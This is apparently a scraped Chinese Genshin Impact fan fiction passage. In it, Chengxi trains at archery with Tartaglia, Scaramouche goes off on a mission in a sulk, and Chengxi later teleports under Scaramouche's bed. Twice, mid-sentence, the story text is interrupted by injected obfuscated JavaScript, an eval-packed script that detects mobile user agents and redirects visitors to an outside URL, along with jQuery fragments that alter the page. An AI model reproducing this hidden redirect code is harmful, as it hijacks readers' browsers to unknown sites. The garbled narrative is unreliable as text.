乘晞也没指望狗能开口讲话,叹了口气重新扒拉通讯器。 小狗在旁边冲他摇尾巴,快活的像个螺旋桨,浑身都在释放“人,快摸我”的信号,可惜银发少年的心思完全不在它身上。 小狗委屈的“呜”了一声,摇摇晃晃的去找珍妮丝了。 杰卡德踌躇片刻,走近垂头丧脑的乘晞,“其实……执行官大人本来是去找你的,他应该是想叫你去训练场。昨天我听他提到过说教你练弓,但谁知道现在……总之,你别说是我告诉你的。” “……谢谢。”乘晞沉默几秒,“那我过去了。” 乘晞到了训练场,拿了张弓开始练习。他对着移动的靶子连射几箭,都没能命中红心。 明明上回练习,还是能射中的。乘晞搭箭拉弦,眯眼重新瞄准。 嗖—— 箭矢又跑偏了。 乘晞重新抓出箭,射击的动作逐渐暴躁。 靶子在轨道上左右挪移,箭筒里的储备被消耗了多半,点着红心的同心圆依旧完好无损。 乘晞放下弓箭,决定喝口水歇一下。 “伙伴,”有道轻快的声音传来,“你的心不静,又怎么可能射中呢?” 乘晞闻声看去,门口倚着个身形高挑的橘发少年,大概已经在这里好一会了。 “公子先生。”乘晞给对方也递了瓶水。 “谢了。”达达利亚接过,拧开盖子仰头喝了几口。 他训练新兵的任务接近尾声,今天过来送最后一批战士。 与负责人交接完毕后,达达利亚路过一间敞着门的训练室,见里面是个熟人,就停下看了一会。 他朝乘晞身边瞧了瞧,没瞧见某位同事的身影,“只有你一个人?” 乘晞:“就我一个人。” 乘晞没奢望散兵会过来。他只是想给自己找点事做,借此分散一下注意力。 达达利亚也没多问,而是邀请道,“你是在练弓吗?用不用我教你,这方面我可是很在行的。” 乘晞心说确实,对方的专武就是弓箭,还能变换形态成为双刃。 “不会麻烦你吗?” “当然不。” “那就多谢公子先生了。”有专业人士在旁指点,总比自己闷头练习效率高。 不知名的哲学家曾说,偷偷努力,然后惊艳所有人。乘晞也决定趁此精进一下自己用弓的技术,争取在下次参与清剿魔物时让散兵眼前一亮。 抱着这样的决心,他跟着达达利亚回到了场地中央。 “别太客气,”达达利亚道,“你可以直接叫我名字的。” 少年没什么架子,唤出自己的冬极白星,握在手中,张扬的挽了个花。 “好的,达达利亚先生,”乘晞打趣,“我原本也觉得每次称呼你的代号,都会有种被占便宜的感觉。” 达达利亚哭笑不得,“代号而已,而且你也不用叫我先生。” 平时对待自己的下属,他也更加倾向自己被称呼为长官,因为这样有种并肩作战的风格。不过乘晞并非他的下属,达达利亚和对方聊得来,看待对方更像朋友。 * 办公室。 通讯器已经沉寂好一会了。散兵以为是免打扰的缘故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738476|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿起来看了一眼,却发现没再收到任何新消息。 他下拉刷新,页面依旧毫无变化。 门被叩了两声。 “进。” “大人,”珍妮丝拿着东西走过来,“这是先遣队那边新送来的线报。” 杰卡德跟在她身后,“请您过目。” 散兵点点头,将东西拆开看了。 两位下属还没离开,他也觉得二人这阵仗不像单纯的来送东西,便等待着二人的下文。 等散兵看完,杰卡德问道,“是又有魔物活跃了吗?情况紧不紧急?” 散兵:“一般。” “那就好,”珍妮丝与杰卡德对视一眼,“看来咱们不需要太着急出外勤。” 杰卡德打量着散兵的神色,试探道,“大人,您现在忙吗?” 散兵丢了个“有事说事,少拐弯抹角”的眼神。 杰卡德用胳膊肘捅珍妮丝,珍妮丝把人怼回原位,“那个……我好像看见乘晞去训练场了。” “嗯嗯,”杰卡德接话,“听说是去练习弓箭了。” “真是勤奋呢。不过他一个人练习,总缺点什么吧……” “是啊,他还是新手,闭门造车的话,也不知道能不能练出效果。” “要是能有像您这样的人加以指导就好了……” 散兵听着两位下属一唱一和,不怎么高明的把话题转移到了他身上。 他扯扯嘴角,把线报叠起来收好,“你们两个,是来我这里唱双簧了?” 杰卡德与珍妮丝立刻闭嘴。 不过散兵也没赶人,捏了捏指尖,不知道在想什么。 杰卡德冲珍妮丝挤眉弄眼,意思是有戏。 椅子挪动的声音响起。散兵出了房间,两位下属远远的跟在后面。 “五百摩拉,”杰卡德小声道,“我赌大人是去训练场。” 珍妮丝“切”了一声,“我赌一千。” 在靠外侧的一处靶场内,散兵看到了想找的身影。 银发少年略眯着眼,侧身张弓,正在瞄准。移动箭靶匀速横行,底座的齿轮发出咯吱声响。 数秒之后,羽箭离弦。 “嗒”的一声,箭矢稳稳的扎在了靶心处。 ——还算有进步。 散兵勉为其难的评价。原以为几日荒废没再练弓,这家伙的水准会有所松懈呢。 银发少年比了个胜利的手势,转过身去,说了句什么。 散兵这才注意到,一同与乘晞训练的是自己某位四肢发达头脑简单的同事。按理说达达利亚的发色应当比较惹眼,也不知道自己先前为什么没注意到对方的存在。 乘晞开心的伸手,掌心竖起向前,达达利亚立刻会意,同对方击了个掌。 从乘晞的神色来看,达达利亚大概是夸赞了几句,随后二人重新进入训练。 散兵看着场地内的情形,脚步没再靠近。 训练难度提升,移动靶的速度调高一档,银发少年又射了几箭,命中率依然保持在了较高的稳定水平。 ——也没什么进步吧。 散兵想。箭靶的移速也就那样,跟乌龟慢爬有什么区别。 乘晞回收箭矢,达达利亚也秀了一手自己的水箭。乘晞认真观摩,在对方收弓后还问了些什么。 隔着的距离较远,讲话声音变得有些含糊,但依稀能听见乘晞叫了句“达达利亚”。 都称呼起名字来了。真是亲切。 散兵不再看场中的银发身影,转身离开。 基地门外,珍妮丝与杰卡德倚在墙边闲聊,商量着午饭吃什么好,就见散兵从里面走了出来。 两人带着胜利的神色对视一眼,正准备迎上去,却发现他们执行官大人是单独出来的。 “什么情况?” 二人都从彼此眼中看到了疑惑。在他们的预料中,事情的发展可不该是这个走向。 “乘晞难道会隐身魔法?” 杰卡德宁愿相信有人无师自通隐身术,也不愿相信是他们精心计划的冷战和好行动没奏效。 “大人,您这是……有什么安排吗?”珍妮丝试探的和对方问了句好。 散兵冷声,“去出任务。” “出任务?”杰卡德疑惑,“之前您不是还说,魔物的事情并不紧急——嗷!” 珍妮丝掐了他一把,示意对方闭嘴,“好的大人,什么时候出发?” 散兵:“现在。” 43.43 乘晞已经整整八个小时没见到散兵了。 以一日不见如隔三秋为度量标准,现在已经如隔一秋了。 乘晞有些郁闷的扯了扯领口。 他原本以为,去训练场运动能舒服一点,但现在除了感到疲惫以外,心情也没畅快到哪里去。 他回去冲了澡,出去找晚饭吃。 填饱了肚子,乘晞在驻地里闲逛。 这么久,别说没遇见散兵,连平日里相熟的那些士官也一个都没看见。 乘晞觉得奇怪,与守门的黑衣人聊了两句,才知道散兵早就带着下属出任务去了。 算算时间,他们离开的那个时候,乘晞还在训练场里。 “……” “你怎么没出任务呢?”守门人奇怪道,“我记得以前每次,你都和他们一起来着。” “好问题,”乘晞回以微笑,“我也想知道。” 读懂了空气的守门人挠挠头,转移话题谈论起了天气。 乘晞拿出通讯器反复翻看,虽然他今天已经看过好多次了,早就确信自己没有收到过任何相关通知。 他和散兵的对话框,属于对方那侧更是空空如也,发出去的消息都石沉大海。 可明明以前,就算对方再忙,面对乘晞的骚扰消息也会抽空回个句号的。 乘晞把通讯器塞回去,往地上一蹲,开始扮演蘑菇。 散养的小狗溜达过来,好奇的歪头打量乘晞,与对方排排蹲。 “这次好累……”杰卡德有气无力。 “腿都走酸了。”珍妮丝也道。 声音由远至近,两人并排踏入驻地,看着黑夜中亮起的灯光觉得格外温馨。 今天执行官大人赶路太快了,他们为了不掉队,不得不催动元素力去追。 与魔物对战的过程却轻松不少。因为几乎都不需要他们出手——散兵就像个无情的魔物清剿机,一路武力碾压过去。遇到一个砍一个,一个都没放过。 有同伴想劝一句,低阶魔物交给他们就好了,用不着执行官大人出手。 这话说完,散兵就挥出极为浓厚的元素力,把一只才冒头的深渊法师炸成了烟花。 试图劝说的那位立刻偃旗息鼓。 原本还有人想询问今天乘晞为什么没和他们一起,见状也被掐灭了好奇心。 散兵将线报提到的区域内魔物清理完毕后,还顺道将附近游荡的魔物一并清理。 黑衣人们安静如鸡,跟在对方身后做一些简单的收尾。 他们其中再迟钝的,也多少能察觉出执行官大人情绪的异常,但都不解其中缘由。 唯二触摸到原因边缘的珍妮丝与杰卡德有口不能言,全程眼神交流,眨得眼皮都快抽筋了,忍得好不辛苦。 “也不知道乘晞那边怎么样。”珍妮丝忧心。 “诶?”杰卡德指着墙角,“乘晞?” 珍妮丝看向他指的方向,就见银发少年蹲在墙角,低着头手指在地面上画圈。 少年整张脸落在阴影里,就好像头顶罩了片乌云,散发出如有实质的怨气。 银色郁闷蘑菇抬起头:“你们回来了?” 杰卡德:“呃……是的。” “去哪里忙了?这么晚才回。”乘晞明知故问。 杰卡德和珍妮丝都有些心虚,顾左右而言他,“那个……散兵大人应该也刚回吧。” 杰拉德挠头:“是哦,他刚才还在后面……等等,怎么不见了?” 珍妮丝讪讪:“要不我们帮你去问问。” 杰卡德使眼色:“这不是小狗吗嘬嘬嘬小狗,这么晚了怎么还在外面?” 珍妮丝意会:“那我们就先走了哈,乘晞你也早点回去休息。” 两人脚底抹油,溜了。 乘晞低下头,继续在地面戳戳戳。 小狗凑近,蹭了蹭乘晞的衣角。 乘晞没反应。 小狗“呜”了一声,试图引起人类少年的注意。 乘晞依然没反应。 小狗咬了下乘晞的袖口。 乘晞默默挪开手臂。 小狗用头撞乘晞的小腿。 乘晞眼皮都没抬一下。 小狗把脑袋伸到乘晞的手掌底下,人类既然不撸它,它只好主动被撸。 银色郁闷蘑菇得出结论。 “看吧,狗都受不了冷暴力。” 乘晞终于在狗头上揉了揉。小狗发出满足的呜咽。 乘晞拍拍狗头,示意享受时间结束,起身朝散兵的住处走去。 “当当当”。 乘晞敲门。 “有人吗?” 屋内亮着灯,但没人回应。 “散兵大人,我可以进去吗?”乘晞礼貌询问。 “如果不说话,就默认您同意了。”乘晞礼貌回答。 屋内依然没人回应。 “好的,我进来了。”乘晞推门,却发现门上锁了。 这样啊。乘晞打开了面板。 没有解决不了的冷战,只有不够努力的当事人。 乘晞在地图上反复确认落点,按下传送。 脚下一轻,眼前的景物发生变化。 乘晞以一个面部朝下的姿势重新出现。 进门的方式不一定需要从门进——乘晞夫斯基如是说。 当然,这种方法是有风险的。比如现在,他严重怀疑自己会不会被卡bug卡到了地底下。 传送的落点,在一定范围的z轴内会随机,乘晞将自己传送进了散兵的住处,但不确定具体落在了什么位置。 重力作用重新回笼,乘晞发现自己正趴在地上。 他屈肘试图撑起自己,结果咚的一声,后脑勺磕在什么坚硬的东西上,撞得他眼冒金星。 乘晞皱着脸等金星散去,发现自己正处在什么东西与地面的空隙中。 他以一个别扭的姿势扭过头,环顾四周,看向不远处的一线光源。 ……原来是被传送到床底下了。 乘晞默默给面板点了个赞——把他传送到散兵卧室里,真有品。 同时也有些无语——来都来了,怎么就不能直接把他传送到床上呢? 床板与地面存在一定间距,但并不宽敞。可以翻身,却不能太大幅度的起身。 当务之急,是离开床底。 乘晞手脚并用的挪了几下,发现这个动作十分费力。 他改换策略,像爬虫一样朝外拱。这回省力了不少,但效率太低了。 乘晞灵光一现,翻了个身。 他平躺在地面上,掌心贴地,手臂曲起一撑。 衣料减轻了他与地面的摩擦,在反作用力之下,他将自己发射了出去。 伴随着窸窣声响,乘晞从床下探出半个身位。 ——几乎是同一时间,风声拂过。 胸口落下受压导致的窒息。 视野骤然进入灯光笼罩的范围,他半眯着眼睛挣扎,试图推开那充满威胁性的压迫。 等不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但他很快否定了自己的猜测。 魔物就算离谱到能够模仿人类的相貌,也模仿不出那家伙离离原上谱的行事作风。 意识到自己正虚踩着对方,散兵试图将腿挪开——但失败了。 对方掌心还带着室外的温度,凉意随着接触传上他的小腿,抓着他的力道却很牢固。 散兵活了几百年,从没遇见过这种情形,罕见的僵住了。 草(一种元素)草(一种元素)草(一种元素) 乘晞内心的小人螺旋升天。 好伟大的脸在这样的死亡角度还能如此好看好白好直的腿真的不是在发光吗被踩了这是奖励吗这就是奖励吧宣布从现在开始原谅这个世界了真庆幸没有爬出去不然可就太猥琐了这个出场方式怎么样应该还算优雅吧 胸口的压迫反倒让神经更加亢奋。心跳声一下下砸着耳膜,脑子里呼啦啦飙过八百字,乘晞快要丧失语言组织能力了:“散兵大人……晚上好?” 散兵:“……你松手。” 乘晞手指下意识捏了捏,是温热而紧实的触感。 那一瞬间,散兵整个人都绷紧了,他迅速抽身,将腿撤开,动作幅度大到额前的碎发都跟着飞起来。 乘晞空落落的手掌抓了抓,放回胸口,另一手也叠上来,摆出一个安详的姿态。 散兵有的时候怀疑是不是深渊入侵了自己的脑子,导致他对人类的行为逻辑失去了理解能力——为什么地上这家伙躺得十分安详,还一脸满足且回味的神色? 散兵觉得太阳穴突突跳:“你、在、干、什、么。” 乘晞安详的瘫着,发出一串意味不明的语气词。 散兵:“…………” 很好。这家伙中邪了。